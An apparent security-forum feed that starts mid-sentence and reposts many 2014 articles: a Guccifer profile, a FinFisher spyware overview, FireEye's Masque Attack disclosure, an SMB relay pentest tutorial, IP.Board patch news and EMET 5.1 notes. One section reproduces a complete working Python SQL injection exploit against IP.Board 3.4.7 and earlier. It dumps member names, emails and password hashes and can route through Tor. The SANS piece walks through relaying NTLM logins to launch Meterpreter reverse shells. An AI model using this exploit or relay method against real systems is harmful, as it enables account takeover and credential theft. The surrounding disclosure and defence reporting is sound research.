c?uta pe Internet cât mai multe informa?ii despre ?intele lui, informa?ii pe care le folosea pentru a r?spunde întreb?rilor de securitate necesare ob?inerii unei parole. Pentru a sparge parola Corinei Cre?u, el s-a chinuit ?ase luni de zile. „Trucul“ nu era unul nou pentru ar?dean. Laz?r a mai f?cut pu?c?rie în 2011, dup? ce, sub pseudonimul „Micul Fum“, a accesat, în acela?i fel, conturile personale ale unor vedete autohtone precum Bianca Dr?gu?anu, Laura Cosoi, Corina Caragea sau Drago? Mo?tenescu. În ciuda condamn?rii din 2011, Guccifer a dat dovad? de arogan?? ?i credea c? nu va fi niciodat? prins. Pe 6 iunie 2013, el a început s? se laude pe site-ul publica?iei americane „The Smoking Gun“, l?sând un comentariu stâlcit în limba englez?. „Nu sunt îngrijorat. Cred c? voi schimba proxiurile, voi juca table pe Yahoo, m? voi uita la televizor ?i m? voi juca cu fiica ?i cu restul familiei mele“, scria acesta. O zi mai târziu, totu?i, un anun? al ?efului SRI George Maior l-a pus pe jar. Acesta a declarat c? în curând îl va captura pe „Micul Guccifer“. Laz?r a crezut c? autorit??ile române f?cuser? leg?tura dintre „Micul Fum“ ?i „Guccifer“, a?a c? a început s?-?i fac? buc??i componentele de computer, într-o încercare disperat? de a-?i acoperi urmele. Maior a spus, mai târziu, c? în momentul în care a f?cut anun?ul, nu ?tia c? hackerul mai fusese prins în trecut ?i a recunoscut c? doar încerca s? îi minimizeze importan?a. Care a fost, totu?i, motivul pentru care Guccifer a ac?ionat cum a ac?ionat? El nu a furat niciun ban ?i nici nu a încercat s? ?antajeze pe nimeni. Se pare c? este vorba de o doz? mare de paranoia. „Lumea este condus? de un grup de conspiratori, numit Consiliul Illuminati, format din oameni foarte boga?i, familii nobile, bancheri”, s-a ap?rat acesta, într-un manifest scris de mân? pe care l-a citit reporterilor. El a spus c? nu avea niciun interes s? sparg? conturile vedetelor, ci doar s-a întâmplat s? dea peste ele încercând s? p?trund? în vie?ile private ale altor persoane. Acum, Guccifer împarte celula cu înc? patru persoane ?i nu are acces la un computer. Toate gândurile ?i teoriile conspira?ioniste le scrie de mân? într-un carne?el. „Am înc?lcat legea, dar s? execut ?apte ani într-o închisoare de maxim? securitate? Nu sunt un criminal sau un ho?. Ce am f?cut a fost drept“, a mai declarat el. Sursa: „Micul Fum“ ?i marele noroc. Cum a reu?it Guccifer s? sparg? contul Corinei Cre?u ?i s? bage spaima în familia Bush | adevarul.ro

Inside FinFisher: examining the intrusive toolset On November 10, 2014 | Posted by Sohail Abid In Blog With tags Finfisher FinFisher, a company known for making and selling a wide range of spy software to world governments for large sums of money, was hacked in the first week of August this year. The anonymous hackers leaked a 40GB torrent including the entire FinFisher support portal with obfuscated information about the buyers, list of software they had purchased, duration of each license, and their communication with the support staff. The leak helped human rights activists around the world identify the buyers, hold their governments to account for the purchases, and question the necessity of such a measure. Digital Rights Foundation also released a report detailing the evidence of Pakistan’s purchase of three software from FinFisher. The leak generated a lot of buzz and rightly so. But the coverage from mainstream media and human rights organizations was primarily limited to reporting the leak, identifying the buyers, and potential human rights implications. There hasn’t been an in-depth coverage of the scope and capabilities of the whole set of software FinFisher sells. This is what we intend to do in the current article. Understanding FinFisher FinFisher is not just a software. It’s a well-thought-out and sophisticated toolset, comprising of both software and hardware, built from the ground up to gain access to people’s private data and communications. Well thought out in the sense that each tool compliments the others in breaking into someone’s communication and sophisticated in the way the tools are generally invisible to the person. An overview of the FinFisher toolset; please click on the image to enlarge. At the time of the leak, FinFisher had 12 products available on its website: ten hardware+software solutions to break into computers and mobiles, a repository of 0-day and 1-day exploits that can be used to infect the target systems, and a training program. Among these solutions, FinSpy is the jewel of the crown. It is a remote monitoring solution that is capable to basically let the buyer see everything someone does on their computer. How Do They Break In It is easier if they, or anyone they know, have access to the computer. FinFisher offers three solutions for this situation. Two of them (FinUSB Suite and FinFly USB) involve attaching a USB drive to the computer, it does not matter if the computer is shut down or logged in, password protected or not. Once the USB is attached, the system becomes compromised. Third one (FinFireWire) is a set of adapter cards (FireWire/1394, PCMCIA and Express Card) and associated cables that, when attached, give access to a running but password protected Mac, Windows, or Linux computer. Four FinFisher solutions are designed for the situations when they don’t have physical access to someone’s computer. FinFly Net consists of a small portable computer that is attached to the router of a hotel or airport or any other “friendly” place and a laptop. Once the FinFly Net computer is The management laptop can then see internet traffic being sent and received by the people attached to the network. It can also display a fake software upgrade notification to the target, which when installed, gives complete access to that computer. Since this solution sits between all internet traffic going to and from the people connected to the network, this solution is also capable to insert a software update (Adobe Flash, for example) notification on a legitimate website. FinFly LAN can also attach spying software with legitimate files on-the-fly, while being in the same wired or wireless network. FinFly Web creates fake websites which make use of the loopholes in web browsers to instantly install FinSpy, the crown jewel in the FinFisher toolset. FinFly ISP is a hardware solution deployed at an ISP to covertly install spy software to any computer in a city or country. This solution is able to “patch” any legitimate files being downloaded by people with a spying software. Like FinFlyNet, it can also issue fake upgrade notifications for popular software like iTunes. The computer becomes compromised as soon as the downloaded files are run or software upgrade is applied. FinIntrusion Kit is an advanced toolkit that includes a customized Linux laptop with a host of adapters and antennas and can break WEP and WPA/WPA2 passphrases. What Can They See A lot. But let’s go through it step by step. IN CASE OF PHYSICAL ACCESS FinUSB toolkit can extracts login credentials from common programs like email clients, chat messengers, and remote desktop tools. It can also silently copy recently opened, created, or edited files from the computer as well as browsing history, chat logs, and wifi passwords. FinFireWire, after bypassing the login or lock screen, can recover passwords from RAM and copy all files onto an external drive. IN CASE OF CLOSE PROXIMITY LIKE AIRPORTS HOTELS FinIntrusionKit, which only requires the target to be on the same network like airport or hotel, can capture usernames and passwords being entered on websites, in addition to any other internet traffic, even if it’s on HTTPS. Your browser does not support the video tag. FinFly Net and FinFly LAN lead to the installation of FinSpy which then gives full access to all data and communications for a system. IN CASE OF NO PHYSICAL ACCESS OR PROXIMITY FinFisher provides FinFly ISP and FinFly Web to infect people who are not in close proximity. Once infected, full access to these computers will be granted. Your browser does not support the video tag. A video detailing how FinFly ISP works FinSpy: Jewel of the Crown Marketed as a ‘remote monitoring solution,’ FinSpy is the multi-purpose spying software around which the whole company revolves. It gives opens a backdoor to the infected computer allowing for live access to all files and data. It also enables access to the mic and webcam installed on the computer for “live surveillance.” It can also save an audio or video recording of each Skype call and send it to the buyer. And it can, FinFisher flaunts, “bypass almost 40 regularly tested antivirus systems.” FinSpy Control Center. Click on the image to enlarge. Note the area in red: Those are the actions that can be taken on an infected computer. Your browser does not support the video tag. We have a saying in Punjabi to seek refuge from something terrible: May this not happen even to my enemy. I’ll end this post at that. About the author: Sohail Abid researches surveillance and censorship issues at Digital Rights Foundation. Before joining DRF, he was CTO at Jumpshare, a file sharing startup from Pakistan. Sursa: Inside FinFisher: examining the intrusive toolset | Digital Rights Foundation

[h=2]Masque Attack: All Your iOS Apps Belong to Us[/h] November 10, 2014 | By Hui Xue, Tao Wei and Yulong Zhang | Exploits, Mobile Threats, Targeted Attack, Threat Intelligence, Threat Research, Vulnerabilities In July 2014, FireEye mobile security researchers have discovered that an iOS app installed using enterprise/ad-hoc provisioning could replace another genuine app installed through the App Store, as long as both apps used the same bundle identifier. This in-house app may display an arbitrary title (like “New Flappy Bird”) that lures the user to install it, but the app can replace another genuine app after installation. All apps can be replaced except iOS preinstalled apps, such as Mobile Safari. This vulnerability exists because iOS doesn't enforce matching certificates for apps with the same bundle identifier. We verified this vulnerability on iOS 7.1.1, 7.1.2, 8.0, 8.1 and 8.1.1 beta, for both jailbroken and non-jailbroken devices. An attacker can leverage this vulnerability both through wireless networks and USB. We named this attack “Masque Attack," and have created a demo video here: We have notified Apple about this vulnerability on July 26. Recently Claud Xiao discovered the “WireLurker” malware. After looking into WireLurker, we found that it started to utilize a limited form of Masque Attacks to attack iOS devices through USB. Masque Attacks can pose much bigger threats than WireLurker. Masque Attacks can replace authentic apps,such as banking and email apps, using attacker's malware through the Internet. That means the attacker can steal user's banking credentials by replacing an authentic banking app with an malware that has identical UI. Surprisingly, the malware can even access the original app's local data, which wasn't removed when the original app was replaced. These data may contain cached emails, or even login-tokens which the malware can use to log into the user's account directly. We have seen proofs that this issue started to circulate. In this situation, we consider it urgent to let the public know, since there could be existing attacks that haven’t been found by security vendors. We are also sharing mitigation measures to help iOS users better protect themselves. [h=2]Security Impacts[/h] By leveraging Masque Attack, an attacker can lure a victim to install an app with a deceiving name crafted by the attacker (like “New Angry Bird”), and the iOS system will use it to replace a legitimate app with the same bundle identifier. Masque Attack couldn't replace Apple's own platform apps such as Mobile Safari, but it can replace apps installed from app store. Masque Attack has severe security consequences: Attackers could mimic the original app’s login interface to steal the victim’s login credentials. We have confirmed this through multiple email and banking apps, where the malware uses a UI identical to the original app to trick the user into entering real login credentials and upload them to a remote server. We also found that data under the original app’s directory, such as local data caches, remained in the malware local directory after the original app was replaced. The malware can steal these sensitive data. We have confirmed this attack with email apps where the malware can steal local caches of important emails and upload them to remote server. The MDM interface couldn’t distinguish the malware from the original app, because they used the same bundle identifier. Currently there is no MDM API to get the certificate information for each app. Thus, it is difficult for MDM to detect such attacks. As mentioned in our Virus Bulletin 2014 paper “Apple without a shell - iOS under targeted attack”, apps distributed using enterprise provisioning profiles (which we call “EnPublic apps”) aren’t subjected to Apple’s review process. Therefore, the attacker can leverage iOS private APIs for powerful attacks such as background monitoring (CVE-2014-1276) and mimic iCloud’s UI to steal the user’s Apple ID and password. The attacker can also use Masque Attacks to bypass the normal app sandbox and then get root privileges by attacking known iOS vulnerabilities, such as the ones used by the Pangu team. [h=2]An Example[/h] In one of our experiments, we used an in-house app with a bundle identifier “com.google.Gmail” with a title “New Flappy Bird”. We signed this app using an enterprise certificate. When we installed this app from a website, it replaced the original Gmail app on the phone. Figure 1 Figure 1 illustrates this process. Figure 1(a) ( show the genuine Gmail app installed on the device with 22 unread emails. Figure 1© shows that the victim was lured to install an in-house app called “New Flappy Bird” from a website. Note that “New Flappy Bird” is the title for this app and the attacker can set it to an arbitrary value when preparing this app. However, this app has a bundle identifier “com.google.Gmail”. After the victim clicks “Install”, Figure 1(d) shows the in-house app was replacing the original Gmail app during the installation. Figure 1(e) shows that the original Gmail app was replaced by the in-house app. After installation, when opening the new “Gmail” app, the user will be automatically logged in with almost the same UI except for a small text box at the top saying “yes, you are pwned” which we designed to easily illustrate the attack. Attackers won’t show such courtesy in real world attacks. Meanwhile, the original authentic Gmail app’s local cached emails, which were stored as clear-text in a sqlite3 database as shown in Figure 2, are uploaded to a remote server. Note that Masque Attack happens completely over the wireless network, without relying on connecting the device to a computer. Figure 2 [h=2]Mitigations[/h] iOS users can protect themselves from Masque Attacks by following three steps: Don’t install apps from third-party sources other than Apple’s official App Store or the user’s own organization Don’t click “Install” on a pop-up from a third-party web page, as shown in Figure 1©, no matter what the pop-up says about the app. The pop-up can show attractive app titles crafted by the attacker When opening an app, if iOS shows an alert with “Untrusted App Developer”, as shown in Figure 3, click on “Don’t Trust” and uninstall the app immediately Figure 3 To check whether there are apps already installed through Masque Attacks, iOS 7 users can check the enterprise provisioning profiles installed on their iOS devices, which indicate the signing identities of possible malware delivered by Masque Attacks, by checking “Settings - > General -> Profiles” for “PROVISIONING PROFILES”. iOS 7 users can report suspicious provisioning profiles to their security department. Deleting a provisioning profile will prevent enterprise signed apps which rely on that specific profile from running. However, iOS 8 devices don’t show provisioning profiles already installed on the devices and we suggest taking extra caution when installing apps. We disclosed this vulnerability to Apple in July. Because all the existing standard protections or interfaces by Apple cannot prevent such an attack, we are asking Apple to provide more powerful interfaces to professional security vendors to protect enterprise users from these and other advanced attacks. We thank FireEye team members Noah Johnson and Andrew Osheroff for their help in producing the demo video. We also want to thank Kyrksen Storer and Lynn Thorne for their help improving this blog. Special thanks to Zheng Bu for his valuable comments and feedback. This entry was posted in Exploits, Mobile Threats, Targeted Attack, Threat Intelligence, Threat Research, Vulnerabilities and tagged iOS Vulnerability, Masque Attack, WireLurker by Hui Xue, Tao Wei and Yulong Zhang. Bookmark the permalink. Sursa: Masque Attack: All Your iOS Apps Belong to Us | FireEye Blog

German spies want millions of Euros to buy zero-day code holes Because once we own them, nobody else can ... oh, wait By Richard Chirgwin, 11 Nov 2014 Germany's spooks have come under fire for reportedly seeking funds to find bugs – not to fix them, but to hoard them. According to The Süddeutsche Zeitung, the country's BND – its federal intelligence service – wants €300 million in funding for what it calls the Strategic Technical Initiative. The Local says €4.5 million of that will be spent seeking bugs in SSL and HTTPS. The BND is shopping for zero-day bugs not to fix them, but to exploit them, the report claims, and that's drawn criticism from NGOs, the Pirate Party, and the Chaos Computer Club (CCC). German Pirate Party president Stefan Körner told The Local people should fear governments more than cyber-terror. Körner is also critical of the strategy on the basis that governments shouldn't be helping fund the grey market for security vulnerabilities, a sentiment echoed by the CCC. The CCC's Dirk Engling called the proposal legally questionable and damaging to the German economy. The SZ report also points out the serious risk that a zero-day bought on the black market will also be available for purchase by criminals for exploitation. The BND proposal would seem to put it at odds with America's NSA, which put its hand on its heart last week and promised that it shares “most” of the bugs it finds so they can be fixed. (The Register can't help but wonder if a parter agency hoarding bugs would be resisted by the NSA, or if it provides an escape clause to the promise to share bugs). The BND also wants to spend €1.1 million to set up a honey-pot, and is in the early stages of conducting social network analysis, with a prototype program slated for completion by June 2015. ® Sursa: German spies want millions of Euros to buy zero-day code holes • The Register

Ar mai fi si XenForo, dar nu stiu foarte multe despre el.

SMB Relay Demystified and NTLMv2 Pwnage with Python Posted by eskoudis Filed under Metasploit, Methodology, Passwords, Python By Mark Baggett [Editor's Note: In this _excellent_ article, Mark Baggett explains in detail how the very powerful SMBRelay attack works and offers tips for how penetration testers can operationalize around it. And, bet yet, about 2/3rds of the way in, Mark shows how you can use a Python module to perform these attacks in an environment that uses only NTLMv2, a more secure Windows authentication mechanism. Really good stuff! --Ed.] The SMB Relay attack is one of those awesome tactics that really helps penetration testers demonstrate significant risk in a target organization; it is reliable, effective, and almost always works. Even when the organization has good patch management practices, the SMB Relay attack can still get you access to critical assets. Most networks have several automated systems that connect to all the hosts on the network to perform various management tasks. For example, software inventory systems, antivirus updates, nightly backups, software updates and patch management, desktop backups, event log collectors, and other processes will routinely connect to every host on the network, login with administrative credentials and perform some management function. In some organizations, active defense systems such as Antivirus Rogue host detection will immediately attempt to login to any host that shows up on the network. These systems will typically try long lists of administrative usernames and passwords as they try to gain access to the unknown host that has mysteriously appeared on the network. SMB Relay attacks allow us to grab these authentication attempts and use them to access systems on the network. In a way, SMB Relays are the network version of Pass the Hash attacks (which Ed Skoudis described briefly in the context of psexec in his Pen Tester's Pledge article). Let's look at how these attacks work. NTLM is a challenge/response protocol. The authentication happens something like this: First, the client attempts to login and the server responds with a challenge. In effect the server says, "If you are who you say you are, then encrypt this thing (Challenge X) with your hash." Next, the client encrypts the challenge and sends back the encrypted challenge response. The server then attempts to decrypt that encrypted challenge response with the user's password hash. If it decrypts to reveal the challenge that it sent, then the user is authenticated. Here is an illustration of a challenge/response authentication. With SMB Relay attacks, the attacker inserts himself into the middle of that exchange. The attacker selects the target server he wants to authenticate to and then the attacker waits for someone on the network to authenticate to his machine. This is where rogue host detection, vulnerability scanners, and administrator scripts that automatically authenticate to hosts become a penetration tester's best friends. When the automated process connects to the attacker, he passes the authentication attempt off to his target (another system on the network, perhaps a server). The target generates a challenge and sends it back to the attacker. The attacker sends the challenge back to the originating scanning system. The scanning system encrypts the hash with the correct password hash and sends it to the attacker. The attacker passes the correctly encrypted response back to his target and successfully authenticates. This process is shown in the next illustration. The BLUE arrows are the original communications and the RED arrows are slightly modified versions of those communications that the attacker is relaying to his target, so that he can gain access to it. Although this may seem complicated, it is actually very easy to exploit.In this example, the attacker (let's say he's at IP address 10.10.12.10) wants to gain access to the server at the IP address 10.10.12.20 (perhaps a juicy file server).There is a nightly software inventory process on the server at 10.10.12.19 that inventories all the hosts on the network. Scenario Attacker IP - 10.10.12.10 Target IP - 10.10.12.20 Nightly Inventory Scanner IP - 10.10.12.19 Metasploit has an SMB Relay Module and it works wonderfully. The attacker at 10.10.12.10 sets up Metasploit as follows: I'll use a simple Windows FOR loop to simulate an administrative server scanning the network and doing inventory. On host 10.10.12.19 I run the following command. When the scanner (10.10.12.19) connects to 10.10.12.10 (our Metasploit listener) the authentication attempt is relayed to the target server (10.10.12.20). The relayed authentication happens like magic and Metasploit automatically uses the authenticated SMB session to launch the meterpreter payload on the target. Notice in the figure below that Metasploit sends an "Access Denied" back to the inventory scanner when it attempted to connect to 10.10.12.10. However, the damage is done and we get a Meterpreter shell on the attacker's machine running on the target (10.10.12.20). Today, Metasploit's SMB Relay only supports NTLMv1, so organizations can protect themselves from this attack by changing the AD policy from this setting (available in secpol.msc) ... To this... After we make the change to NTLMv2, we try Metasploit again. Now when we run the exploit, Metasploit gets a "Failed to authenticate" error message. DRAT, our dastardly plan has been foiled by modern security protocols. Metasploit has support for NTLMv2 in other exploits such as http_ntlmrelay, so I imagine this exploit will eventually support NTLMv2. But, don't worry. We've got you covered. Until then, it is PYTHON TO THE RESCUE! Two weeks ago, I showed you psexec.py in my blog post about using a Python version of psexec atSANS Penetration Testing | Psexec Python Rocks! | SANS Institute) It is a Python implementation of psexec that is distributed with the IMPACKET modules. The team writing the IMPACKET module for Python is doing some really awesome work. First of all, the modules they have written are awesome. Beyond that, they have created several example programs that demonstrate the power of their Python modules. Best of all, the SMBRELAYX.PY script that comes with IMPACKET supports NTLMv2! Sweetness, thy name is IMPACKET! Getting the script running will take a little bit of work. You'll need to download the latest version of IMPACKET and fix the module paths to get it up and running. To fix this, I put all of the examples in the same directory as the other modules and then change the import statements to reflect the correct directories. SMBRELAYX needs an executable to run on the remote host after it authenticates. What could be better than the meterpreter? Let's use msfpayload to create a Meterpreter EXE and then setup SMBRELAYX. Smbrelayx.py requires two parameters: —h is the host you are going to attack and —e is the process to launch on the remote host. You just provide those options and sit back and wait for that inventory scanner to connect to your system. Below, I show msfpayload creating the Meterpreter executable, and the invocation of smbrelayx.py: Because we are using a meterpreter reverse shell, we also have to setup Metasploit so that it is ready to receive the payload connection after it executes on the target. That is what the multi/handler exploit is for, as shown below: Now, I'll simulate the scanner by attempting to connect to the C$ of our attacker's Linux box (10.10.12.10) from the scanner server (10.10.12.19). Instead of getting back an "Access Denied" like we did from Metasploit, we get back a "System cannot find the path specified" error. I like this error message. I think a system admin might question why his username and password didn't work on a target before he would question why the path doesn't exist. The smbrelayx.py script's message back to the admin seems therefore more subtle than the Metasploit message and less likely to get noticed. Immediately we see the relay occur in the Python script. It authenticates to 10.10.12.20 and launches the meterpreter process as a service using the username and password provided by 10.10.12.19. The payload is delivered to the target after authenticating over NTLMv2 and meterpreter is launched on the target. To keep our shell, we need to quickly migrate to another more stable process (to help automate that migration, we could use one of the migration scripts available for the meterpreter). Ah, the delicious smell of a brand new meterpreter shell. And of course, because it is a Python module, you can incorporate this script into your own automated attack tools. Would you like more information about how you can create your own Python-powered attack tools? I'm sure you do! Join me for my brand-new SANS course, SEC573 Python for Penetration tester. Python for Penetration Testers | Course | Python Penetration Testing Thank you! --Mark Baggett Sursa: SANS Penetration Testing | SMB Relay Demystified and NTLMv2 Pwnage with Python | SANS Institute

Host a tor server entirely in RAM with Tor-ramdisk Hacker10 | 7 May, 2012 | Anonymity | No Comments Tor-ramdisk is a tiny Linux distribution (5MB) developed by the IT department at D’Youville College (USA) to securely host a tor proxy server in RAM memory, it can run in old diskless hardware and it will stop a forensic analysis from people stealing or seizing a tor server. In the event that a tor server is seized due to ignorance or calculated harassment, and it would not be the first time, the end user would still safe because the chained nature of the tor proxy network makes it impossible to find out someone’s computer IP by seizing a single server but other data, even if meaningless, can still be recovered, running tor in RAM is an extra security step that can help convince people that the machine is merely acting as a relay as it contains no hard drive. When a Tor-ramdisk server is powered down all the information is erased with no possibility of recovery, the tor configuration file and private encryption (torrc& secret_id_key) in between reboots can be preserved exporting and importing them using FTP or SSH making the life of a tor node operator easy. One disadvantage of running a tor node entirely in RAM memory is that it can not host hidden services as that requires hard drive space, other than it is a fully functional entry,middle or exit tor node. I would advise you to block all ports (USB,Firewire) in the server with epoxy, there are computer forensic tools that can be plugged into the USB port and make a copy of the RAM memory on the fly. You might have heard about the cold boot attack where someone with physical access to a recently switched off server or computer can still retrieve data remanence from RAM memory, this is not easy to achieve and the recovery timespan is comprised of a few seconds. Visit Tor-ramdisk homepage: Tor-ramdisk | opensource.dyc.edu Sursa: Host a tor server entirely in RAM with Tor-ramdisk | Hacker 10 - Security Hacker

ScyllaHide is an advanced open-source x64/x86 usermode Anti-Anti-Debug library. It hooks various functions in usermode to hide debugging. This tool is intended to stay in usermode (ring3). If you need kernelmode (ring0) Anti-Anti-Debug please see TitanHide https://bitbucket.org/mrexodia/titanhide. ScyllaHide supports various debuggers with plugins: OllyDbg v1 and v2 OllyDbg v1.10 x64_dbg x64_dbg or https://bitbucket.org/mrexodia/x64_dbg Hex-Rays IDA v6+ https://www.hex-rays.com/products/ida/ TitanEngine v2 https://bitbucket.org/mrexodia/titanengine-update and TitanEngine | Open Source | ReversingLabs PE x64 debugging is fully supported with plugins for x64_dbg and IDA. Please note: ScyllaHide is not limited to these debuggers. You can use the standalone commandline version of ScyllaHide. You can inject ScyllaHide in any process debugged by any debugger. More information is available in the documentation: https://bitbucket.org/NtQuery/scyllahide/downloads/ScyllaHide.pdf Source code license: GNU General Public License v3 https://www.gnu.org/licenses/gpl-3.0.en.html Special thanks to: What for his POISON Assembler source code https://tuts4you.com/download.php?view.2281 waliedassar for his blog posts waliedassar Peter Ferrie for his PDFs Homepage of Peter Ferrie MaRKuS-DJM for OllyAdvanced assembler source code MS Spy++ style Window Finder MS Spy++ style Window Finder - CodeProject Sursa: https://bitbucket.org/NtQuery/scyllahide

Deci, cine mai e interesat? Bucuresti. Avem ping-pong, biliard si "fun-room", saptamanal fotbal

[h=2]Tor Project Mulls How Feds Took Down Hidden Websites[/h] HughPickens.com writes: Jeremy Kirk writes at PC World that in the aftermath of U.S. and European law enforcement shutting down more than 400 websites (including Silk Road 2.0) which used technology that hides their true IP addresses, Tor users are asking: How did they locate the hidden services? "The first and most obvious explanation is that the operators of these hidden services failed to use adequate operational security," writes Andrew Lewman, the Tor project's executive director. For example, there are reports of one of the websites being infiltrated by undercover agents and one affidavit states various operational security errors." Another explanation is exploitation of common web bugs like SQL injections or RFIs (remote file inclusions). Many of those websites were likely quickly-coded e-shops with a big attack surface. Exploitable bugs in web applications are a common problem says Lewman adding that there are also ways to link transactions and deanonymize Bitcoin clients even if they use Tor. "Maybe the seized hidden services were running Bitcoin clients themselves and were victims of similar attacks." However the number of takedowns and the fact that Tor relays were seized could also mean that the Tor network was attacked to reveal the location of those hidden services. "Over the past few years, researchers have discovered various attacks on the Tor network. We've implemented some defenses against these attacks (PDF), but these defenses do not solve all known issues and there may even be attacks unknown to us." Another possible Tor attack vector could be the Guard Discovery attack. The guard node is the only node in the whole network that knows the actual IP address of the hidden service so if the attacker manages to compromise the guard node or somehow obtain access to it, she can launch a traffic confirmation attack to learn the identity of the hidden service. "We've been discussing various solutions to the guard discovery attack for the past many months but it's not an easy problem to fix properly. Help and feedback on the proposed designs is appreciated." According to Lewman, the task of hiding the location of low-latency web services is a very hard problem and we still don't know how to do it correctly. It seems that there are various issues that none of the current anonymous publishing designs have really solved. "In a way, it's even surprising that hidden services have survived so far. The attention they have received is minimal compared to their social value and compared to the size and determination of their adversaries." Sursa: Tor Project Mulls How Feds Took Down Hidden Websites - Slashdot

Pentru cei care se plang de vBulletin: "This year, IPS released a total of four security updates to address cross-site scripting (XSS), file inclusion and other vulnerabilities found in IP.Board."

Robolinux 7.7.1 Is Now Probably the Most Illegal Operating System – Gallery A new version of Robolinux is now ready for download By Silviu Stahie on November 10th, 2014 17:31 GMT Robolinux, a fast and easy to use Linux distribution based on Debian that uses both the GNOME and Xfce desktop environments, has been updated to version 7.7.1. Robolinux has made a name for itself by claiming that it can help users migrate from Windows to Linux without having to drop their favorite applications. A tool called Stealth VM Software has been developed to that effect and it basically lets users launch their apps in a Windows virtual environment. As you can imagine, this is not exactly easy to do and you will need a powerful operating system. Even so, it's still unclear what the legal status of the solution chosen by the developer is. As usual, each new Robolinux release is about something else, be it full hard disk encryption, Windows compatibility, or some other feature. This latest iteration of the operating system is about the integration of Popcorn Time and users’ ability to watch online movies and TV shows. The legal status of Robolinux 7.7.1 is now even more unclear The implementation of a Windows virtual environment is shady enough, especially for a Linux distro. Now, it looks like the developer has implemented Popcorn Time by default, which is illegal in many countries. Not everyone has a problem with the application, but some people might use it in countries where it’s breaking laws. "Now you can enjoy watching thousands of live streaming TV Shows & Movies instantly on your PC or laptop. You can even Chromecast them directly to your TV. The Fast as Greased Lightning Robolinux XFCE version 7.7.1 details: [Please note: The Live version password is 'live' all lower case.]" "We added Popcorn Time which requires the newest Debian 2.19 C libraries. We also added Xarchiver, so it is easier for our Users to create archive files in dozens of formats, DNS Utils, for SysAdmins & two more custom BCM Wifi Drivers. Plus all Debian upstream security updates along with the latest new and improved Debian stable Version 7.7 kernel and the newest Oracle VirtualBox version," writes the developer in the announcement. The Linux Live Creator Windows executable files have been added to the download section in the FAQ web page and Windows users will now be able to choose between Unetbootin and Linux Live Creator to install Robolinux from a USB stick. More details about the Stealth VM Software and Robolinux can be found in the official changelog. Also, you can download Robolinux 7.7.1 right now from Softpedia for both 32-bit and 64-bit architectures. Sursa: Robolinux 7.7.1 Is Now Probably the Most Illegal Operating System – Gallery - Softpedia

IP.Board <= 3.4.7 SQL Injection #!/usr/bin/env python # Sunday, November 09, 2014 - secthrowaway () safe-mail net # IP.Board <= 3.4.7 SQLi (blind, error based); # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable url = 'http://target.tld/forum/' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" import sys, re # <socks> - http://sourceforge.net/projects/socksipy/ #import socks, socket #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket # </socks> import urllib2, urllib def inject(sql): try: urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua})) except urllib2.HTTPError, e: if e.code == 503: data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read() txt = re.search("XPATH syntax error: '.*)'", data, re.MULTILINE) if txt is not None: return txt.group(1) sys.exit('Error [3], received unexpected data:\n%s' % data) sys.exit('Error [1]') sys.exit('Error [2]') def get(name, table, num): sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num) s = int(inject('LENGTH((%s))' % sqli)) if s < 31: return inject(sqli) else: r = '' for i in range(1, s+1, 31): r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31)) return r n = inject('SELECT COUNT(*) FROM members') print '* Found %s users' % n for j in range(int(n)): print get('member_id', 'members', j) print get('name', 'members', j) print get('email', 'members', j) print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j) print '----------------' Sursa: Full Disclosure: IP.Board <= 3.4.7 SQL Injection

SQL Injection Vulnerability Patched in IP.Board Forum Software By Eduard Kovacs on November 10, 2014 Invision Power Services (IPS) has released patches to address an SQL injection vulnerability affecting versions 3.3.x and 3.4.x of the popular online forum software IP.Board. IPS learned of the existence of an exploit for the vulnerability on Sunday when it published a post advising users to disable the IPS Connect service, which allows multiple sites to share one login, by deleting the "interface/ipsconnect/ipsconnect.php" file from their installations. "Most clients will not need this service but if you do use it then we still suggest you temporarily disable until a fix is released tomorrow," IPS said. Patches and additional details on the SQL injection vulnerability were released a few hours later. According to developers, SQL injection attacks are possible on certain PHP configurations. "Although this exploit requires some knowledge of your configuration and for certain files to be web-readable, we felt it important to release an update," IPS explained. An exploit written in Python was published on several websites on Sunday. According to the author of the exploit, the error-based blind SQL injection flaw affects IP.Board version 3.4.7 and earlier. One of the administrators of the vpsBoard forum claims IPS only learned of the existence of the exploit after he notified them. A vpsBoard member said he successfully tested the exploit on his own website by knowing only the URL. "I ran the exploit against my IPB and it injected SQL just fine - no 'knowledge' was needed other than the URL," the user with the online moniker raindog308 said. IP.Board developers have also learned "that it may be possible to send attachments via the email classes which would ordinarily be removed." A fix for this issue, reported privately to IPS by Andrew Erb, is also included in the patches. The patches are automatically applied for IPS Community in the Cloud customers running IP.Board 3.3 or above. Users who have installed or upgraded their installations to version 3.4.7 after the patches were released don't need to take any action since the main download files have been updated. This year, IPS released a total of four security updates to address cross-site scripting (XSS), file inclusion and other vulnerabilities found in IP.Board. Sursa: SQL Injection Vulnerability Patched in IP.Board Forum Software | SecurityWeek.Com

[h=3]EMET 5.1 is available[/h] swiat 10 Nov 2014 8:45 AM Today, we’re releasing the Enhanced Mitigation Experience Toolkit (EMET) 5.1 which will continue to improve your security posture by providing increased application compatibility and hardened mitigations. You can download EMET 5.1 from microsoft.com/emet or directly from here. Following is the list of the main changes and improvements: Several application compatibility issues with Internet Explorer, Adobe Reader, Adobe Flash, and Mozilla Firefox and some of the EMET mitigations have been solved. Certain mitigations have been improved and hardened to make them more resilient to attacks and bypasses. Added “Local Telemetry” feature that allows to locally save memory dumps when a mitigation is triggered. All the changes in this release are listed in Microsoft KB Article 3015976. If you are using Internet Explorer 11, either on Windows 7 or Windows 8.1, and have deployed EMET 5.0, it is particularly important to install EMET 5.1 as compatibility issues were discovered with the November Internet Explorer security update and the EAF+ mitigation. Alternatively, you can temporarily disable EAF+ on EMET 5.0. Details on how to disable the EAF+ mitigation are available in the User Guide. In general we recommend upgrading to the latest version of EMET to benefit from all the 